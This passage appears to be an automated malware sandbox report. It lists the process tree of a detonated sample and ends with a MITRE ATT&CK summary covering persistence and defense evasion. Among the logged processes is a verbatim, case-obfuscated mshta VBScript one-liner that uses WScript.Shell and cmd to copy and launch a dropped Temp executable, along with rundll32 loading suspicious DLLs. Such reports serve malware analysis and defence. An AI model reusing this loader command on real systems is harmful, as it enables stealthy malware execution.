- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1892
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:4432
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4928 -ip 49281⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5848
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCrIPt: cLOSe( CREAteobjecT ("wScRiPT.ShElL" ).RUN ( "C:\Windows\system32\cmd.exe /C tYpe ""C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXE"" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi & if ""-poRsuYEMryiLi""== """" for %m in ( ""C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXE"" ) do taskkill /iM ""%~NXm"" -F" ,0 , TRUE ))1⤵PID:1296
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C tYpe "C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXE" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi& if "-poRsuYEMryiLi"== "" for %m in ("C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXE" ) do taskkill /iM "%~NXm" -F2⤵PID:5984
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:4928 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:5484
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5484 -s 4523⤵
- Program crash
PID:5164
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5484 -ip 54841⤵PID:3232
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2108 -ip 21081⤵PID:6848
-
C:\Users\Admin\AppData\Local\Temp\C96B.exeC:\Users\Admin\AppData\Local\Temp\C96B.exe1⤵PID:6928
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6928 -s 2762⤵
- Program crash
PID:6364
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 6928 -ip 69281⤵PID:6764
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 7164 -ip 71641⤵PID:6344
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
PID:6164 -
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main2⤵PID:2292
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2292 -s 4563⤵
- Program crash
PID:1468
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 7260 -ip 72601⤵PID:7416
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 2292 -ip 22921⤵PID:7656
-
C:\Users\Admin\AppData\Local\Temp\6903.exeC:\Users\Admin\AppData\Local\Temp\6903.exe1⤵PID:8060
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:7504
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:6540
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:5820
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 7504 -ip 75041⤵PID:4568
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:9048
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:8880
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1544
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:6096
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:5048
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:7720
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 1464 -ip 14641⤵PID:8072
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 7488 -ip 74881⤵PID:4188
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 8248 -ip 82481⤵PID:6668
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 5140 -ip 51401⤵PID:6788
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 2912 -ip 29121⤵PID:5512
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1860 -ip 18601⤵PID:9176
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 8852 -ip 88521⤵PID:7220
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 900 -ip 9001⤵PID:7344
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 7228 -ip 72281⤵PID:10084
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 7568 -ip 75681⤵PID:11184
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 11140 -ip 111401⤵PID:10696
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 12080 -ip 120801⤵PID:13004
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 6692 -ip 66921⤵PID:13588
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵PID:5416
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5416 -s 4522⤵
- Program crash
PID:6756
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5416 -s 4522⤵
- Program crash
PID:10324
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 11480 -ip 114801⤵PID:12824
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:13812
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 7940 -ip 79401⤵PID:11584
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 5416 -ip 54161⤵PID:10472
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1980 -ip 19801⤵PID:13640
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 8708 -ip 87081⤵PID:14824
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 804 -ip 8041⤵PID:14424
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 9816 -ip 98161⤵PID:6004
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 8124 -ip 81241⤵PID:9516
Network
MITRE ATT&CK Enterprise v6
Persistence
Modify Existing Service
1Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
Disabling Security Tools
1Modify Registry
2Virtualization/Sandbox Evasion
1Web Service
1